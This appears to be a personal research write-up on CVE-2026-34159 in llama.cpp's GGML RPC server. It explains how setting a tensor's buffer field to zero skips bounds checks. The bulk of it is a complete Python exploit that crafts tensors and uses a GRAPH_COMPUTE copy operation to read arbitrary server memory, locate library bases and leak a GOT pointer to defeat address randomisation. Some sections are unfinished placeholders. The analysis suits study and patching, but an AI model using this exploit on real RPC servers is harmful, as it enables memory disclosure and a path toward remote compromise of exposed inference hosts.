CVE-2026-34159

GGML RPC Null-Buffer Bypass Research Progress Report

Author HungNguyen

#GGML RPC Null-Buffer Bypass Research Progress Report

Effected version: b8487 (and older)

#Overview

CVE-2026-34159 occurred due to a serious lack of metadata consistency verification when the server received the rpc_tensors structure from the client via an RPC network connection. Procedure rpc_server::deserialize_tensor allowed client to control Buffer field = 0 (NULL) which disabled bounds checking, then server can accept a ggml_tensor stored raw data pointing to any address in themself

In this research, by my limit knowledge, I can just lead the bug to Arbitrary Read instead of RCE like the CVE show. But I will try to show as many details as possible about this bug

#Build Environment

Enter the version before the patch:

Terminal window
git checkout bd6992180
mkdir -p build && cd build
cmake -DCMAKE_BUILD_TYPE=Debug ..
cmake --build . --config Debug -j$(nproc)
cd ..
#I use tinyllama model for fast performance
wget -O models/tinyllama-1.1b-chat-v1.0.Q4_K_M.gguf \
https://huggingface.co/TheBloke/TinyLlama-1.1B-Chat-v1.0-GGUF/resolve/main/tinyllama-1.1b-chat-v1.0.Q4_K_M.gguf

Start the vulnerable RPC server binding to the localhost port:

Terminal window
./build/bin/rpc-server -H 127.0.0.1 -p 50052
# or if you want to debug
gdb --args ./rpc-server

#Background Knowledge

In this part, I read the code in the project so you can search that file like ggml.h or ggml-rpc.cpp

#llama.cpp

It is an open source software library that perform inference on various LLM such as Llama, it has been considered as the facto standard as the core of almost all local inference tools, like Ollama and LM Studio

#GGML Tensor Architecture

In llama.cpp project, tensor plays an important role in the entire physical computing capabilities of the model. Unlike regular data arrays, it have 2 duties inside them: stores multidimentional data arrays and manages metadata collections

alt text Tensor structure can be formed like this:

struct rpc_tensor {
uint64_t id; # tensor id
uint32_t type; # ggml_type
uint64_t buffer; # buffer address
uint32_t ne[GGML_MAX_DIMS];
uint32_t nb[GGML_MAX_DIMS];
uint32_t op; # operation
int32_t op_params[GGML_MAX_OP_PARAMS / sizeof(int32_t)]; # operation parameters
int32_t flags; # tensor property flags
uint64_t src[GGML_MAX_SRC]; # list of tensor ids
uint64_t view_src;
uint64_t view_offs;
uint64_t data; # offset from buffer to put data
char name[GGML_MAX_NAME];
char padding[4]; # memory alignment
};

#uint32_t type

stored the element’s data type alt text

#ne and nb

ne: number of elements

nb: number of bytes

tensor in OS/server, is called plat multidimentional data arrays, which means it can be like this: alt text GGML supports for max of 4 Dimentions performing depend on ne (arrays are ne[0] ne[1] ne[2] ne[3])

  • ne:
    • ne[0]: number of elements in 1D (>=0)
    • ne[1]: number of elements in 2D (if not, should be 1)
    • ne[2]: number of elements in 3D (if not, should be 1)
    • ne[3]: number of elements in 4D (if not, should be 1)

If you have a 4x3 dimentions, basically, ne[0] = 4 and ne[1] = 3 , ne[2] = 1, ne[3] = 1

It is used to declare the number of dimensions and calculate the size of alloc buffer (ne[0] x ne[1] x ne[2] x ne[3] and that why it should be 1)

  • nb:
    • nb[0]: size of tensor type, also bytes to next to the next elements in 1D
    • nb[1]: number of strides to 2D (nb[0] x ne[0])
    • nb[2]: number of strides to 3D (nb[1] x ne[1])
    • nb[3]: number of strides to 4D (nb[2] x ne[2])

In this project, I will use F32 type (float32 - 4bytes) to exploit, so nb[0] is defaulted by 4

#Remote Procedure Call (RPC) Mechanism in llama.cpp

To support distributed computing and leverage hardware acceleration across multiple network-connected devices, llama.cpp implements a custom RPC framework (primarily perform in ggml-rpc.cpp)

In a standard distributed inference session, the architecture is divided into two distinct sides:

The RPC Client (llama cli)

The RPC Server (rpc-server)

So in this time I will need to connect it locally by host a terminal server side

#Protocol Connecting

The ggml-rpc subsystem employs a strictly defined communication protocol for some reasons. The data exchange is not an unstructured stream of bytes; rather, it is a state machine driven by specific Command ID

Read this:

static void rpc_serve_client(const std::vector<ggml_backend_t> & backends, const char * cache_dir,
sockfd_t sockfd) {
rpc_server server(backends, cache_dir);
uint8_t cmd;
if (!recv_data(sockfd, &cmd, 1)) {
return;
}
// the first command sent by the client must be HELLO
if (cmd != RPC_CMD_HELLO) {
GGML_LOG_ERROR("Expected HELLO command, update client\n");
return;
}
if (!recv_msg(sockfd, nullptr, 0)) {
return;
}
rpc_msg_hello_rsp response;
server.hello(response);
if (!send_msg(sockfd, &response, sizeof(response))) {
return;
}
while (true) {
// ...

I can see that, it check cmd of HELLO first, then use recv_msg function

the cmds were listed:

enum rpc_cmd {
RPC_CMD_ALLOC_BUFFER = 0,
RPC_CMD_GET_ALIGNMENT,
RPC_CMD_GET_MAX_SIZE,
RPC_CMD_BUFFER_GET_BASE,
RPC_CMD_FREE_BUFFER,
RPC_CMD_BUFFER_CLEAR,
RPC_CMD_SET_TENSOR,
RPC_CMD_SET_TENSOR_HASH,
RPC_CMD_GET_TENSOR,
RPC_CMD_COPY_TENSOR,
RPC_CMD_GRAPH_COMPUTE,
RPC_CMD_GET_DEVICE_MEMORY,
RPC_CMD_INIT_TENSOR,
RPC_CMD_GET_ALLOC_SIZE,
RPC_CMD_HELLO,
RPC_CMD_DEVICE_COUNT,
RPC_CMD_GRAPH_RECOMPUTE,
RPC_CMD_COUNT,
};

I will need this list in the future

And when I see which loop:

rpc_msg_hello_rsp response;
server.hello(response);
if (!send_msg(sockfd, &response, sizeof(response))) {
return;
}
while (true) {
if (!recv_data(sockfd, &cmd, 1)) {
break;
}
if (cmd >= RPC_CMD_COUNT) { // RPC_CMD_COUNT is the number of valid commands
// fail fast if the command is invalid
GGML_LOG_ERROR("Unknown command: %d\n", cmd);
break;
}
switch (cmd) {
case RPC_CMD_HELLO: {
// HELLO command is handled above
return;
}
case RPC_CMD_GET_ALLOC_SIZE: {
rpc_msg_get_alloc_size_req request;
if (!recv_msg(sockfd, &request, sizeof(request))) {
return;
}
rpc_msg_get_alloc_size_rsp response;
if (!server.get_alloc_size(request, response)) {
return;
}
if (!send_msg(sockfd, &response, sizeof(response))) {
return;
}
break;
}
case RPC_CMD_ALLOC_BUFFER: {
rpc_msg_alloc_buffer_req request;
if (!recv_msg(sockfd, &request, sizeof(request))) {
return;
}
rpc_msg_alloc_buffer_rsp response;
if (!server.alloc_buffer(request, response)) {
return;
}
if (!send_msg(sockfd, &response, sizeof(response))) {
return;
}
break;
}
...

I realized that if (!recv_data(sockfd, &cmd, 1)) { means it will get 1 byte of data (which 99% of CMD id to check what they are work with) then it uses recv_msg function for most CMD (excepted some unique CMD)

static bool recv_msg(sockfd_t sockfd, void * msg, size_t msg_size) {
uint64_t size;
if (!recv_data(sockfd, &size, sizeof(size))) {
return false;
}
if (size != msg_size) {
return false;
}
return recv_data(sockfd, msg, msg_size);
}

It receives 8 byte of data size (sizeof(size), size is uint64_t)

So the packet layout: alt text

#GRAPH_COMPUTE Internals

After understanding the basic RPC commands, I focused on the GRAPH_COMPUTE command because it is responsible for executing computation graphs supplied by remote clients

From a high-level perspective, GRAPH_COMPUTE receives a serialized graph from the client, reconstructs the graph on the server side, and then passes it to the GGML backend for execution

The overall execution flow can be summarized as follows:

alt text

#Entry Point

[Dán ảnh code đoạn xử lý GRAPH_COMPUTE]

When the server receives a GRAPH_COMPUTE request, it begins reading the serialized graph data from the socket and starts reconstructing the graph structure in memory.

At this stage, no GGML graph objects exist yet. The server is only working with serialized data provided by the client.

#Graph Reconstruction

[Dán ảnh code đoạn create_node hoặc vòng lặp build graph]

The graph is rebuilt node by node.

For each node, the server:

  1. Reads the node metadata.
  2. Reconstructs the corresponding tensor.
  3. Restores dependencies between nodes.
  4. Inserts the node into the newly created graph.

Once this process completes, the server has reconstructed a valid GGML computation graph from client-controlled data.

#Tensor Reconstruction

While tracing the graph reconstruction logic, I observed that most nodes are created through a tensor deserialization process.

[Dán ảnh code đoạn deserialize_tensor được gọi]

As a result, deserialize_tensor() immediately became an interesting target for further analysis, since every tensor used by the graph passes through this function.

The execution path can therefore be simplified as:

GRAPH_COMPUTE
create_node()
deserialize_tensor()

All tensor metadata provided by the client is processed here before the graph reaches the execution stage.

#Backend Execution

After the graph has been fully reconstructed, it is passed to the GGML backend for execution.

[Dán ảnh code đoạn ggml_backend_graph_compute]

The backend then iterates through each node in the graph and executes the corresponding operation.

Examples include:

  • GGML_OP_ADD
  • GGML_OP_MUL
  • GGML_OP_CPY
  • and many others

Importantly, these operations directly use the tensor objects that were previously reconstructed from client-supplied data.

This observation motivated a deeper investigation into the tensor deserialization process, particularly how tensor fields are restored and how client-controlled metadata influences the final tensor structure.

The next section focuses on deserialize_tensor() and explains how its reconstruction logic eventually leads to an arbitrary memory read primitive.

#PLT and GOT Mechanics

#General flow of process

#Root cause analysis

The bug resides in the logicaL branching of the deserialize_tensor function inside ‘ggml-rpc.cpp`

When reconstructing the pointer to the physical data block, server attemps to verify if tensor is attached to a managed buffer

struct ggml_tensor * result = deserialize_tensor(ctx, tensor);
if (result == nullptr) {
return nullptr;
}
// ...

In bug file, there are two function that have the contradictory names are serialize_tensor and deserialize_tensor. Like their names, the serialize_tensor used to convert client’s input data into a list of integer byte to valid the TCP stream and send to server, while deserialize_tensor will remake ggml_tensor from that received data

You can see the input parameters include ctx and tensor that ctx just alloc buffer (fixed num) for input pack. After remake server’s tensor, it check that tensor for if it is equal to 0, but not check the input buffer data inner (tensor->buffer), then bug manifests when attacker set it to 0

In flow of deserialize_tensor, from if (result->buffer) { which means if buffer data of server’s tensor != 0, it will check:

GGML_ASSERT(tensor->data + tensor_size >= tensor->data); // check for overflow
GGML_ASSERT(tensor->data >= buffer_start && tensor->data + tensor_size <= buffer_start + buffer_size);
  • Check 1: Avoid overflow if tensor_size < 0 (0xffff.. so big)
  • Check 2: alt text

Then if I set data->buffer = 0, it will pass the this check code part, go to asigning data for op, op_params, flags, name and especially data which appears in above checking part but now when buffer = 0, data can point to anywhere in the rpc server, control over where server will read or write during subsequent mathematical operations

This data is heavily linked in the attack flow later

ggml_tensor * rpc_server::deserialize_tensor(struct ggml_context * ctx, const rpc_tensor * tensor) {
// ...
if (result->buffer) {
// require that the tensor data does not go beyond the buffer end
uint64_t tensor_size = (uint64_t) ggml_nbytes(result);
uint64_t buffer_start = (uint64_t) ggml_backend_buffer_get_base(result->buffer);
uint64_t buffer_size = (uint64_t) ggml_backend_buffer_get_size(result->buffer);
GGML_ASSERT(tensor->data + tensor_size >= tensor->data); // check for overflow
GGML_ASSERT(tensor->data >= buffer_start && tensor->data + tensor_size <= buffer_start + buffer_size);
}
result->op = (ggml_op) tensor->op;
for (uint32_t i = 0; i < GGML_MAX_OP_PARAMS / sizeof(int32_t); i++) {
result->op_params[i] = tensor->op_params[i];
}
result->flags = tensor->flags;
result->data = reinterpret_cast<void *>(tensor->data);
ggml_set_name(result, tensor->name);
return result;
}

#Proof-of-Concept

#Socket Connection

The exploit begins by ebtablishing a TCP connection to rpc server (local running)

Depend on above knowledge, the pack form to bypass is [1-byte CMD ID][8-byte payload size][payload] and this is the request data struct for every command and other general struct in all process, required for my script alt text

After trying many times with recvall, I have found the optimal way to send and receive to the server by my custom function (reference from available script)

Initially I used recvall() to receive the entire response stream.Although this worked, the returned data was difficult to analyze because multiple protocol fields were mixed together in a single byte stream. To simplify debugging, I implemented recv_n() and recv_msg() to ensure that the exact number of bytes specified in the message header is received before parsing

# ...
RPC_CMD_HELLO = 14
def exploit(host, port):
# ...
#HELLO (required)
def hello():
send_cmd(RPC_CMD_HELLO, b'')
time.sleep(1)
resp = recv_msg()
return struct.unpack('<BBB', resp)
print("Send HELLO")
major, minor, patch = hello()
print(f"Version {major}.{minor}.{patch}")
cnt.close()
# ...

alt text

After understanding the RPC protocol format and reviewing the command handlers implemented inside the server, I analyzed the available RPC commands and their purposes

Although the RPC interface exposes multiple commands, only a small subset is required for constructing the arbitrary read primitive. Therefore, instead of interacting with every available RPC feature, I focused only on the commands that directly participate in tensor creation, graph execution, and memory retrieval

The following commands were selected:

CommandIDFumction
RPC_CMD_HELLO14Default handshake
RPC_CMD_ALLOC_BUFFER0Allocate a backend buffer on the remote server
RPC_CMD_BUFFER_GET_BASE3Obtain the base address of the allocated buffer
RPC_CMD_GET_TENSOR8Retrieve data copied into the destination tensor buffer
RPC_CMD_GRAPH_COMPUTE10Trigger execution of the crafted computation graph

Other RPC commands were checked during the initial analysis phase but were ultimately unnecessary for exploitation. Since the objective is to achieve arbitrary memory disclosure through a faked tensor graph, the above command set is sufficient to construct the complete attack chain

The following helper functions were implemented to interact with the selected RPC commands

def alloc_buffer(device, size):
send_cmd(RPC_CMD_ALLOC_BUFFER, struct.pack('<IQ', device, size))
resp = recv_msg()
remote_ptr, remote_size = struct.unpack('<QQ', resp)
return remote_ptr, remote_size
def get_base(remote_ptr):
send_cmd(RPC_CMD_BUFFER_GET_BASE, struct.pack('<Q', remote_ptr))
resp = recv_msg()
base_ptr = struct.unpack('<Q', resp)[0]
return base_ptr
def get_tensor(rpc_tensor, offset, size):
req = rpc_tensor
req += struct.pack('<Q', offset) #offset
req += struct.pack('<Q', size) #size
send_cmd(RPC_CMD_GET_TENSOR, req)
resp = recv_msg()
return resp
#Check
print("Send HELLO")
major, minor, patch = hello()
print(f"Version {major}.{minor}.{patch}")
remote_ptr, remote_size = alloc_buffer(0, 0x1000)
print(f"Allocated buffer at {hex(remote_ptr)} with size {hex(remote_size)}")
base_ptr = get_base(remote_ptr)
print(f"Base pointer of allocated buffer: {hex(base_ptr)}")

alt text

Next, the most important step is to initialize the tensor structure, which is necessary for using the GRAPH_COMPUTE command to process it

struct rpc_tensor {
uint64_t id;
uint32_t type;
uint64_t buffer;
uint32_t ne[GGML_MAX_DIMS];
uint32_t nb[GGML_MAX_DIMS];
uint32_t op;
int32_t op_params[GGML_MAX_OP_PARAMS / sizeof(int32_t)];
int32_t flags;
uint64_t src[GGML_MAX_SRC];
uint64_t view_src;
uint64_t view_offs;
uint64_t data;
char name[GGML_MAX_NAME];
char padding[4];
};

Based on the struct declared in the code file, I have recreated a tensor with a size of 296 bytes (according to calculations), using loop to define ne and nb, and set unnecessary parameters to 0 (like op_params, view_src, view_offs, name and padding)

def build_tensor(id, buffer, data, op, srcs, n_elems, flags):
nb0 = 4
nb1 = n_elems * 4 # Assuming float32
tensor = struct.pack('<Q', id) #id
tensor += struct.pack('<I', GGML_TYPE_F32) #type
tensor += struct.pack('<Q', buffer) #buffer
for j in [n_elems, 1, 1, 1]:
tensor += struct.pack('<I', j) #ne[GGML_MAX_DIMS]
for k in [nb0, nb1, nb1, nb1]:
tensor += struct.pack('<I', k) #nb[GGML_MAX_DIMS]
tensor += struct.pack('<I', op) #op
tensor += b"\x00" * 64 #op_param
tensor += struct.pack('<i', flags) #flags
for i in range(GGML_MAX_SRC):
tensor += struct.pack('<Q', srcs[i] if i < len(srcs) else 0) #srcs
tensor += struct.pack('<Q', 0) #view_src
tensor += struct.pack('<Q', 0) #view_offs
tensor += struct.pack('<Q', data) #data
tensor += b'\x00' * 64 #name
tensor += b'\x00' * 4 #padding
assert len(tensor) == 296
return tensor

After creating the tensor, I built GRAPH_COMPUTE using the structure described in the knowledge section

| device (4 bytes) | n_nodes (4 bytes) | nodes (n_nodes * sizeof(uint64_t) | n_tensors (4 bytes) | tensors (n_tensors * sizeof(rpc_tensor)) |

The copy primitive implemented by GGML_OP_CPY requires two tensors:

  • a source tensor whose data field points to the target address
  • a destination tensor backed by a valid remote buffer

During graph execution, the server performs a copy operation from src->data to dst->data

This behavior forms the basis of the arbitrary read primitive

def graph_compute(remote_ptr, buffer_base, target_addr, n_bytes):
n_elems = max((n_bytes + 3) // 4, 1)
#id buffer data op srcs n_elems flags
src_tensor = build_tensor(0x1337, 0, target_addr, GGML_OP_NONE, [], n_elems, 0)
dst_tensor = build_tensor(0x1338, remote_ptr, buffer_base, GGML_OP_CPY, [0x1337], n_elems, 16)
req = struct.pack('<I', 0) #device
req += struct.pack('<I', 1) #n_nodes
req += struct.pack('<Q', 0x1338) #node_id[0]
req += struct.pack('<I', 2) #n_tensors
req += src_tensor + dst_tensor #tensors
send_cmd(RPC_CMD_GRAPH_COMPUTE, req)
#GET_TENSOR
read_tensor = build_tensor(0x1338, remote_ptr, buffer_base, GGML_OP_NONE, [], n_elems, 0)
resp = get_tensor(read_tensor, 0, n_bytes)
print(f"Received data: {resp.hex()}")
return resp

#Triggering the Vulnerability

#Exfiltration

#Vulnerability analysing

I will go details here!

#Exploit

#!/usr/bin/env python3
import socket
import struct
import time
#define RPC command constants
RPC_CMD_ALLOC_BUFFER = 0
RPC_CMD_BUFFER_GET_BASE = 3
RPC_CMD_GET_TENSOR = 8
RPC_CMD_GRAPH_COMPUTE = 10
RPC_CMD_HELLO = 14
TENSOR_SIZE = 296
GGML_TYPE_F32 = 0
GGML_OP_NONE = 0
GGML_OP_CPY = 34
GGML_MAX_SRC = 10
def exploit(host, port):
# create a socket object
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# connect to the server
s.connect((host, port))
def send_cmd(cmd, payload):
s.sendall(struct.pack('<B', cmd))
s.sendall(struct.pack('<Q', len(payload)))
s.sendall(payload)
def recv_n(sock, n):
data = b''
while len(data) < n:
x = sock.recv(n-len(data))
if not x:
raise EOFError
data += x
return data
def recv_msg():
size = struct.unpack('<Q', recv_n(s, 8))[0]
return recv_n(s, size)
#cmd implementations
def hello():
send_cmd(RPC_CMD_HELLO, b'')
time.sleep(1)
resp = recv_msg()
return struct.unpack('<BBB', resp)
def alloc_buffer(device, size):
send_cmd(RPC_CMD_ALLOC_BUFFER, struct.pack('<IQ', device, size))
resp = recv_msg()
remote_ptr, remote_size = struct.unpack('<QQ', resp)
return remote_ptr, remote_size
def get_base(remote_ptr):
send_cmd(RPC_CMD_BUFFER_GET_BASE, struct.pack('<Q', remote_ptr))
resp = recv_msg()
base_ptr = struct.unpack('<Q', resp)[0]
return base_ptr
def get_tensor(rpc_tensor, offset, size):
req = rpc_tensor
req += struct.pack('<Q', offset) #offset
req += struct.pack('<Q', size) #size
send_cmd(RPC_CMD_GET_TENSOR, req)
resp = recv_msg()
return resp
# tensor structure
def build_tensor(id, buffer, data, op, srcs, n_elems, flags):
nb0 = 4
nb1 = n_elems * 4 # Assuming float32
tensor = struct.pack('<Q', id) #id
tensor += struct.pack('<I', GGML_TYPE_F32) #type
tensor += struct.pack('<Q', buffer) #buffer
for j in [n_elems, 1, 1, 1]:
tensor += struct.pack('<I', j) #ne[GGML_MAX_DIMS]
for k in [nb0, nb1, nb1, nb1]:
tensor += struct.pack('<I', k) #nb[GGML_MAX_DIMS]
tensor += struct.pack('<I', op) #op
tensor += b"\x00" * 64 #op_param
tensor += struct.pack('<i', flags) #flags
for i in range(GGML_MAX_SRC):
tensor += struct.pack('<Q', srcs[i] if i < len(srcs) else 0) #srcs
tensor += struct.pack('<Q', 0) #view_src
tensor += struct.pack('<Q', 0) #view_offs
tensor += struct.pack('<Q', data) #data
tensor += b'\x00' * 64 #name
tensor += b'\x00' * 4 #padding
assert len(tensor) == TENSOR_SIZE
return tensor
# ar read
def arbitrary_read(remote_ptr, buffer_base, target_addr, n_bytes):
n_elems = max((n_bytes + 3) // 4, 1)
#id buffer data op srcs n_elems flags
src_tensor = build_tensor(0x3001, 0, target_addr, GGML_OP_NONE, [], n_elems, 0)
dst_tensor = build_tensor(0x3002, remote_ptr, buffer_base, GGML_OP_CPY, [0x3001], n_elems, 16)
req = struct.pack('<I', 0) #device
req += struct.pack('<I', 1) #n_nodes
req += struct.pack('<Q', 0x3002) #node_id[0]
req += struct.pack('<I', 2) #n_tensors
req += src_tensor + dst_tensor #tensors
send_cmd(RPC_CMD_GRAPH_COMPUTE, req)
read_tensor = build_tensor(0x3002, remote_ptr, buffer_base, GGML_OP_NONE, [], n_elems, 0)
resp = get_tensor(read_tensor, 0, n_bytes)
print(f" [-] Received data: {resp.hex()}")
return resp
def read_qword(remote_ptr, buffer_base, addr):
data = arbitrary_read(remote_ptr, buffer_base, addr, 8)
return struct.unpack('<Q', data[:8])[0] if len(data) >= 8 else None
def read_dword(remote_ptr, buffer_base, addr):
data = arbitrary_read(remote_ptr, buffer_base, addr, 4)
return struct.unpack('<I', data[:4])[0] if len(data) >= 4 else None
# attack flow function
def exp():
# connect and get server version
print("[+]Connecting to server...")
minor, major, patch = hello()
print(f"[+]Server version: {major}.{minor}.{patch}\n")
#Step 1
print("1. Allocating buffer")
remote_ptr, remote_size = alloc_buffer(0, 0x1000)
print(" [-] remote_ptr =", hex(remote_ptr))
print(" [-] remote_size =", hex(remote_size), "\n")
#Step 2
print("2. Getting buffer base")
buffer_base = get_base(remote_ptr)
print(" [-] buffer_base =", hex(buffer_base), "\n")
#Step 3
print("3. Leaking iface.get_base poiinter and scan for ELF base")
get_base_pointer = read_qword(remote_ptr, buffer_base, remote_ptr + 8)
print(" [-] iface.get_base =", hex(get_base_pointer), "\n")
if not get_base_pointer or get_base_pointer < 0x700000000000:
print(" [-] The memory layout is misaligned, or the function reading the tensor structure is encountering errors")
return
addr = get_base_pointer & ~0xFFF
libbase_base = None
for step in range(0x800):
sig = read_dword(remote_ptr, buffer_base, addr)
if sig == 0x464c457f: # the integer value of b'\x7fELF'
libbase_base = addr
print(f"\n [-] libggml-base.so ELF BASE in: {hex(libbase_base)} (loop: {step+1})")
break
addr -= 0x1000
if not libbase_base:
print(" [!] No suitable ELF structure was found")
return
# objdump -R ./build/bin/libggml-base.so | grep memcpy
BASE_GOT_MEMCPY = 0x10d7e8
target_got_addr = libbase_base + BASE_GOT_MEMCPY
print(f"\n4. Reading GOT[memcpy] to leak Libc")
print(f" [-] Target GOT Address: {hex(target_got_addr)}")
memcpy_addr = read_qword(remote_ptr, buffer_base, target_got_addr)
# check memcpy_addr
if not memcpy_addr:
print(" [!] Unable to read data from the GOT table")
return
print(f" [-] Raw data read from GOT: {hex(memcpy_addr)}")
if (memcpy_addr & 0x7ffff0000000) == 0x7fff00000000 or (memcpy_addr & 0x7f0000000000) == 0x7f0000000000:
print(f" [-] memcpy address in Libc: {hex(memcpy_addr)}")
else:
print("\n [!] The value read is not a valid Libc pointer")
print("\nConnection Closed!")
# calling function
exp()
s.close()
if __name__ == "__main__":
exploit("127.0.0.1", 50052)

#References